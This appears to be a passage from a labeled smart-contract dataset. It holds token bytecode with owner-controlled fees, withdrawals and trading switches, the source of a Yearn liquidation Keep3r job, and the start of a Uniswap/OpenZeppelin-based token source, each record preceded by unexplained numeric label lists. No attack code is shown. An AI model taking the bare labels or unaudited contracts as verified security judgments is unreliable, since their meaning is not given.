05050505050565b601554604051630fdf79f960e11b81526001600160a01b0390911690631fbef3f29061147590869086906004016131d2565b606060058054610ae190613004565b336114f6611393565b6001600160a01b03161461151c5760405162461bcd60e51b8152600401610c069061306c565b601554610e3a906001600160a01b03163383612566565b3361153c611393565b6001600160a01b0316146115625760405162461bcd60e51b8152600401610c069061306c565b6017546001600160a01b03838116911614156115c05760405162461bcd60e51b815260206004820181905260248201527f496e753a2044455820706169722063616e206e6f742062652072656d6f7665646044820152606401610c06565b6115ca82826126d5565b5050565b336115d7611393565b6001600160a01b0316146115fd5760405162461bcd60e51b8152600401610c069061306c565b604051339082156108fc029083906000818181858888f193505050501580156115ca573d6000803e3d6000fd5b33611633611393565b6001600160a01b0316146116595760405162461bcd60e51b8152600401610c069061306c565b600794909455600692909255600855600955600a55565b3360009081526012602090815260408083206001600160a01b0386168452909152812054828110156116f05760405162461bcd60e51b815260206004820152602360248201527f496e753a2064656372656173656420616c6c6f77616e63652062656c6f77207a60448201526265726f60e81b6064820152608401610c06565b6116ff3385610c1e8685613055565b5060019392505050565b6015546040516329a0382f60e21b81526000916001600160a01b03169063a680e0bc9061173a908590600401612c7c565b602060405180830381865afa158015611757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177b919061310a565b92915050565b6000610b71338484611f03565b60155460405163a99e6f1760e01b815260009182918291829182916001600160a01b03169063a99e6f1790611340908990600401612c7c565b336117d0611393565b6001600160a01b0316146117f65760405162461bcd60e51b8152600401610c069061306c565b60005b8281101561184557611832338585848181106118175761181761313b565b905060200201602081019061182c9190612dab565b84610b7a565b508061183d81613151565b9150506117f9565b50505050565b33611854611393565b6001600160a01b03161461187a5760405162461bcd60e51b8152600401610c069061306c565b6001600160a01b03821660009081526013602052604090205460ff16151581151514156119005760405162461bcd60e51b815260206004820152602e60248201527f496e753a206163636f756e7420697320616c72656164792073657420746f207260448201526d657175657374656420737461746560901b6064820152608401610c06565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b33611934611393565b6001600160a01b03161461195a5760405162461bcd60e51b8152600401610c069061306c565b601a805460ff1916911515919091179055565b60155460405163c705c56960e01b815260009182916001600160a01b039091169063c705c569906119a2908690600401612c7c565b602060405180830381865afa1580156119bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e391906130ba565b60155460405163731bae9f60e11b81526001600160a01b039091169063e6375d3e90611a13908790600401612c7c565b602060405180830381865afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5491906130ba565b91509150915091565b600d54640100000000900460ff161515600114611a8c5760405162461bcd60e51b8152600401610c06906131ed565b600d546301000000900460ff161515600114611aba5760405162461bcd60e51b8152600401610c06906130d7565b6015546001600160a01b031663807ab4f7336040518263ffffffff1660e01b8152600401611ae89190612c7c565b6020604051808303816000875af1158015611b07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2b91906130ba565b506015546000906001600160a01b03166339a9f3b933610dc1565b33611b4f611393565b6001600160a01b031614611b755760405162461bcd60e51b8152600401610c069061306c565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b33611ba9611393565b6001600160a01b031614611bcf5760405162461bcd60e51b8152600401610c069061306c565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b33611c03611393565b6001600160a01b031614611c295760405162461bcd60e51b8152600401610c069061306c565b600d80549115156101000261ff0019909216919091179055565b600d54640100000000900460ff161515600114611c725760405162461bcd60e51b8152600401610c06906131ed565b6015546001600160a01b031663807ab4f7336040518263ffffffff1660e01b8152600401611ca09190612c7c565b6020604051808303816000875af1158015611cbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3a91906130ba565b33611cec611393565b6001600160a01b031614611d125760405162461bcd60e51b8152600401610c069061306c565b601080546001600160a01b039384166001600160a01b0319909116179055600f80549190921661010002610100600160a81b0319909116179055565b33611d57611393565b6001600160a01b031614611d7d5760405162461bcd60e51b8152600401610c069061306c565b6001600160a01b038116611de25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c06565b610e3a81612685565b6001600160a01b038316611e4c5760405162461bcd60e51b815260206004820152602260248201527f496e753a20617070726f76652066726f6d20746865207a65726f206164647265604482015261737360f01b6064820152608401610c06565b6001600160a01b038216611ea25760405162461bcd60e51b815260206004820181905260248201527f496e753a20617070726f766520746f20746865207a65726f20616464726573736044820152606401610c06565b6001600160a01b0383811660008181526012602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b601a5460ff1680611f2c5750611f17611393565b6001600160a01b0316836001600160a01b0316145b80611f4f5750611f3a611393565b6001600160a01b0316826001600160a01b0316145b611f865760405162461bcd60e51b81526020600482015260086024820152672737ba1027b832b760c11b6044820152606401610c06565b6001600160a01b038316611fac5760405162461bcd60e51b8152600401610c069061321e565b6001600160a01b038216611fd25760405162461bcd60e51b8152600401610c0690613261565b6000612710601854611fe3600e5490565b611fed91906132a2565b611ff791906132c1565b9050600061271060195461200a600e5490565b61201491906132a2565b61201e91906132c1565b9050818311158061204757506001600160a01b0385166000908152601b602052604090205460ff165b6120875760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610c06565b61208f611393565b6001600160a01b0316856001600160a01b0316141580156120b957506001600160a01b0384163014155b80156120d357506002546001600160a01b03858116911614155b80156120ed57506017546001600160a01b03858116911614155b1561213b5760006120fd85611225565b6001600160a01b0386166000908152601c602052604090205490915060ff168061213057508161212d8583613123565b11155b61213957600080fd5b505b6001600160a01b038516600090815260116020526040902054838110156121745760405162461bcd60e51b8152600401610c06906132e3565b600061217f30611225565b600b54600d5491925082101590610100900460ff16801561219d5750805b80156121ac5750600f5460ff16155b80156121d157506001600160a01b03881660009081526014602052604090205460ff16155b80156121eb57506016546001600160a01b03898116911614155b801561221057506121fa611393565b6001600160a01b0316886001600160a01b031614155b8015612235575061221f611393565b6001600160a01b0316876001600160a01b031614155b1561226f57600f805460ff19166001179055600d5460ff1661225757600b5491505b61226082612838565b42600c55600f805460ff191690555b6017546000906001600160a01b038a81169116148061229b57506017546001600160a01b038981169116145b156122a4575060015b6001600160a01b03891660009081526013602052604090205460ff16806122e357506001600160a01b03881660009081526013602052604090205460ff165b156122ec575060005b600f5460ff16806123065750600d5462010000900460ff16155b1561230f575060005b801561247a576017546000906001600160a01b038b81169116141561242b576127106007546006546123419190613123565b61234b908a6132a2565b61235591906132c1565b905060006127106006548a61236a91906132a2565b61237491906132c1565b905060006127106007548b61238991906132a2565b61239391906132c1565b6010549091506123ae908d906001600160a01b031684612566565b6015546123c6908d906001600160a01b031683612566565b601554604051630184eee960e51b8152600481018390526001600160a01b039091169063309ddd2090602401600060405180830381600087803b15801561240c57600080fd5b505af1158015612420573d6000803e3d6000fd5b50505050505061246c565b612710600a546009546008546124419190613123565b61244b9190613123565b612455908a6132a2565b61245f91906132c1565b905061246c8a3083612566565b6124768189613055565b9750505b612485898989612566565b6015546001600160a01b031663e30443bc8a6124a081611225565b6040518363ffffffff1660e01b81526004016124bd9291906130a1565b600060405180830381600087803b1580156124d757600080fd5b505af11580156124eb573d6000803e3d6000fd5b50506015546001600160a01b0316915063e30443bc90508961250c81611225565b6040518363ffffffff1660e01b81526004016125299291906130a1565b600060405180830381600087803b15801561254357600080fd5b505af1158015612557573d6000803e3d6000fd5b50505050505050505050505050565b6001600160a01b03831661258c5760405162461bcd60e51b8152600401610c069061321e565b6001600160a01b0382166125b25760405162461bcd60e51b8152600401610c0690613261565b6001600160a01b038316600090815260116020526040902054818110156125eb5760405162461bcd60e51b8152600401610c06906132e3565b6125f58282613055565b6001600160a01b03808616600090815260116020526040808220939093559085168152908120805484929061262b908490613123565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161267791815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526014602052604090205460ff161515811515141561276a5760405162461bcd60e51b815260206004820152603d60248201527f496e753a206175746f6d61746564206d61726b6574206d616b6572207061697260448201527f20697320616c72656164792073657420746f20746861742076616c75650000006064820152608401610c06565b6001600160a01b0382166000908152601460205260409020805460ff191682158015919091179091556127fc5760155460405162241fbd60e51b81526001600160a01b0390911690630483f7a0906127c99085906001906004016131d2565b600060405180830381600087803b1580156127e357600080fd5b505af11580156127f7573d6000803e3d6000fd5b505050505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b600081116128435750565b61284c81612ac2565b60105447906000906001600160a01b0316156128da57600a546009546008546128759190613123565b61287f9190613123565b60085461288c90846132a2565b61289691906132c1565b905080156128da576010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156128d8573d6000803e3d6000fd5b505b600f5460009061010090046001600160a01b03161561296f57600a546009546008546129069190613123565b6129109190613123565b600a5461291d90856132a2565b61292791906132c1565b9050801561296f57600f546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561296d573d6000803e3d6000fd5b505b600080601560009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e9919061310a565b1115610f4457600a54600954600854612a029190613123565b612a0c9190613123565b600954612a1990866132a2565b612a2391906132c1565b90508015610f44576015546040516000916001600160a01b03169083908381818185875af1925050503d8060008114612a78576040519150601f19603f3d011682016040523d82523d6000602084013e612a7d565b606091505b505090508015610cd0576040518281527fb0cc2628d6d644cf6be9d8110e142297ac910d6d8026d795a99f272fd9ad60b19060200160405180910390a1505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612af757612af761313b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b74919061316c565b81600181518110612b8757612b8761313b565b6001600160a01b039283166020918202929092010152601654612bad9130911684611deb565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ca2908590600090869030904290600401613327565b600060208083528351808285015260005b81811015612c1357858101830151858201604001528201612bf7565b81811115612c25576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610e3a57600080fd5b60008060408385031215612c6357600080fd5b8235612c6e81612c3b565b946020939093013593505050565b6001600160a01b0391909116815260200190565b600080600060608486031215612ca557600080fd5b8335612cb081612c3b565b92506020840135612cc081612c3b565b929592945050506040919091013590565b60008060408385031215612ce457600080fd5b50508035926020909101359150565b60008083601f840112612d0557600080fd5b50813567ffffffffffffffff811115612d1d57600080fd5b6020830191508360208260051b8501011115612d3857600080fd5b9250929050565b60008060008060408587031215612d5557600080fd5b843567ffffffffffffffff80821115612d6d57600080fd5b612d7988838901612cf3565b90965094506020870135915080821115612d9257600080fd5b50612d9f87828801612cf3565b95989497509550505050565b600060208284031215612dbd57600080fd5b8135612dc881612c3b565b9392505050565b8015158114610e3a57600080fd5b600080600060608486031215612df257600080fd5b8335612dfd81612dcf565b9250602084013591506040840135612e1481612dcf565b809150509250925092565b60008060008060808587031215612e3557600080fd5b8435612e4081612dcf565b93506020850135612e5081612dcf565b92506040850135612e6081612dcf565b91506060850135612e7081612dcf565b939692955090935050565b60008060408385031215612e8e57600080fd5b823591506020830135612ea081612c3b565b809150509250929050565b600080600060608486031215612ec057600080fd5b8335612ecb81612c3b565b92506020840135612edb81612dcf565b91506040840135612e1481612dcf565b600060208284031215612efd57600080fd5b5035919050565b60008060408385031215612f1757600080fd5b8235612f2281612c3b565b91506020830135612ea081612dcf565b600080600080600060a08688031215612f4a57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600080600060408486031215612f8257600080fd5b833567ffffffffffffffff811115612f9957600080fd5b612fa586828701612cf3565b909790965060209590950135949350505050565b600060208284031215612fcb57600080fd5b8135612dc881612dcf565b60008060408385031215612fe957600080fd5b8235612ff481612c3b565b91506020830135612ea081612c3b565b600181811c9082168061301857607f821691505b6020821081141561303957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156130675761306761303f565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6001600160a01b03929092168252602082015260400190565b6000602082840312156130cc57600080fd5b8151612dc881612dcf565b602080825260199082015278125b9d4e881499599b1958dd1a5bdb9cc8111a5cd8589b1959603a1b604082015260600190565b60006020828403121561311c57600080fd5b5051919050565b600082198211156131365761313661303f565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156131655761316561303f565b5060010190565b60006020828403121561317e57600080fd5b8151612dc881612c3b565b600080600080600060a086880312156131a157600080fd5b85516131ac81612c3b565b602087015160408801516060890151608090990151929a91995097965090945092505050565b6001600160a01b039290921682521515602082015260400190565b602080825260179082015276125b9d4e88111a5d9a59195b991cc8111a5cd8589b1959604a1b604082015260600190565b60208082526023908201527f496e753a207472616e736665722066726f6d20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526021908201527f496e753a207472616e7366657220746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60008160001904831182151516156132bc576132bc61303f565b500290565b6000826132de57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526024908201527f496e753a207472616e7366657220616d6f756e7420657863656564732062616c604082015263616e636560e01b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133775784516001600160a01b031683529383019391830191600101613352565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a94c756fc87b90d5cda48c65b7914424d612d5ee9fbd096d5327dd94a985e76564736f6c634300080a0033
[ 11, 12, 13, 16, 5 ]
0xf35ee77197b8e222549a54d7a43fc4dc60ebbeeb
pragma solidity ^0.6.12; interface IKeep3rV1 { function isKeeper(address) external returns (bool); function worked(address keeper) external; } interface IYaLINK { function over(uint) external view returns (uint); function rebalance() external; } interface IWethStrategy { function repayAmount() external view returns (uint); function repay() external; } contract YearnLiquidationKeep3r { modifier upkeep() { require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered"); _; KP3R.worked(msg.sender); } IYaLINK public constant YALINK = IYaLINK(0x29E240CFD7946BA20895a7a02eDb25C210f9f324); IWethStrategy public constant WETH = IWethStrategy(0x39AFF7827B9D0de80D86De295FE62F7818320b76); IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); uint public constant YALINKMIN = 10000000000; uint public constant WETHMIN = 10000000000000000000000; function yaLINKDebt() external view returns (uint) { return YALINK.over(0); } function wethDebt() external view returns (uint) { return WETH.repayAmount(); } function workable() public view returns (bool) { return (YALINK.over(0) > YALINKMIN || WETH.repayAmount() > WETHMIN); } function work() external upkeep { require(workable(), "YearnLiquidationKeep3r::work: !workable()"); if (YALINK.over(0) > YALINKMIN) { YALINK.rebalance(); } if (WETH.repayAmount() > WETHMIN) { WETH.repay(); } } function workForFree() external { require(workable(), "YearnLiquidationKeep3r::work: !workable()"); if (YALINK.over(0) > YALINKMIN) { YALINK.rebalance(); } if (WETH.repayAmount() > WETHMIN) { WETH.repay(); } } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806380bb2bac1161006657806380bb2bac146100fb5780638d480b58146101175780639a4b91b21461011f578063ad5c464814610127578063bb4451611461012f5761009e565b806305e0b9a0146100a3578063322e9f04146100c7578063399b2fb9146100d157806341e7aaae146100d95780636c5abaf9146100f3575b600080fd5b6100ab610137565b604080516001600160a01b039092168252519081900360200190f35b6100cf61014f565b005b6100cf6104a3565b6100e16106ba565b60408051918252519081900360200190f35b6100e161073a565b610103610795565b604080519115158252519081900360200190f35b6100ab6108b4565b6100e16108cc565b6100ab6108d5565b6100e16108ed565b731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b604080516335d2155560e11b81523360048201529051731ceb5cb57c4d4e2b2433641b95dd330a33185a4491636ba42aaa9160248083019260209291908290030181600087803b1580156101a257600080fd5b505af11580156101b6573d6000803e3d6000fd5b505050506040513d60208110156101cc57600080fd5b50516102095760405162461bcd60e51b81526004018080602001828103825260248152602001806109256024913960400191505060405180910390fd5b610211610795565b61024c5760405162461bcd60e51b81526004018080602001828103825260298152602001806108fc6029913960400191505060405180910390fd5b6402540be4007329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316636ad4e25160006040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156102ab57600080fd5b505afa1580156102bf573d6000803e3d6000fd5b505050506040513d60208110156102d557600080fd5b50511115610345577329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316637d7c2a1c6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561032c57600080fd5b505af1158015610340573d6000803e3d6000fd5b505050505b69021e19e0c9bab24000007339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663d0efe7536040518163ffffffff1660e01b815260040160206040518083038186803b15801561039d57600080fd5b505afa1580156103b1573d6000803e3d6000fd5b505050506040513d60208110156103c757600080fd5b50511115610437577339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663402d88836040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561041e57600080fd5b505af1158015610432573d6000803e3d6000fd5b505050505b604080516317fbade560e21b81523360048201529051731ceb5cb57c4d4e2b2433641b95dd330a33185a4491635feeb79491602480830192600092919082900301818387803b15801561048957600080fd5b505af115801561049d573d6000803e3d6000fd5b50505050565b6104ab610795565b6104e65760405162461bcd60e51b81526004018080602001828103825260298152602001806108fc6029913960400191505060405180910390fd5b6402540be4007329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316636ad4e25160006040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561054557600080fd5b505afa158015610559573d6000803e3d6000fd5b505050506040513d602081101561056f57600080fd5b505111156105df577329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316637d7c2a1c6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156105c657600080fd5b505af11580156105da573d6000803e3d6000fd5b505050505b69021e19e0c9bab24000007339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663d0efe7536040518163ffffffff1660e01b815260040160206040518083038186803b15801561063757600080fd5b505afa15801561064b573d6000803e3d6000fd5b505050506040513d602081101561066157600080fd5b505111156106b8577339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663402d88836040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561048957600080fd5b565b60007339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663d0efe7536040518163ffffffff1660e01b815260040160206040518083038186803b15801561070957600080fd5b505afa15801561071d573d6000803e3d6000fd5b505050506040513d602081101561073357600080fd5b5051905090565b60007329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316636ad4e25160006040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561070957600080fd5b60006402540be4007329e240cfd7946ba20895a7a02edb25c210f9f3246001600160a01b0316636ad4e25160006040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d602081101561082057600080fd5b505111806108af575069021e19e0c9bab24000007339aff7827b9d0de80d86de295fe62f7818320b766001600160a01b031663d0efe7536040518163ffffffff1660e01b815260040160206040518083038186803b15801561088157600080fd5b505afa158015610895573d6000803e3d6000fd5b505050506040513d60208110156108ab57600080fd5b5051115b905090565b7329e240cfd7946ba20895a7a02edb25c210f9f32481565b6402540be40081565b7339aff7827b9d0de80d86de295fe62f7818320b7681565b69021e19e0c9bab24000008156fe596561726e4c69717569646174696f6e4b65657033723a3a776f726b3a2021776f726b61626c6528293a3a69734b65657065723a206b6565706572206973206e6f742072656769737465726564a26469706673582212201f52424059b542c79967f4a6ea147461cb7483a34d22edac62a7700d755cbe9864736f6c634300060c0033
[ 38 ]
0xf35f714b7498ef908ff39f351b5629ae35350c72
// SPDX-License-Identifier: Unlicensed // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev 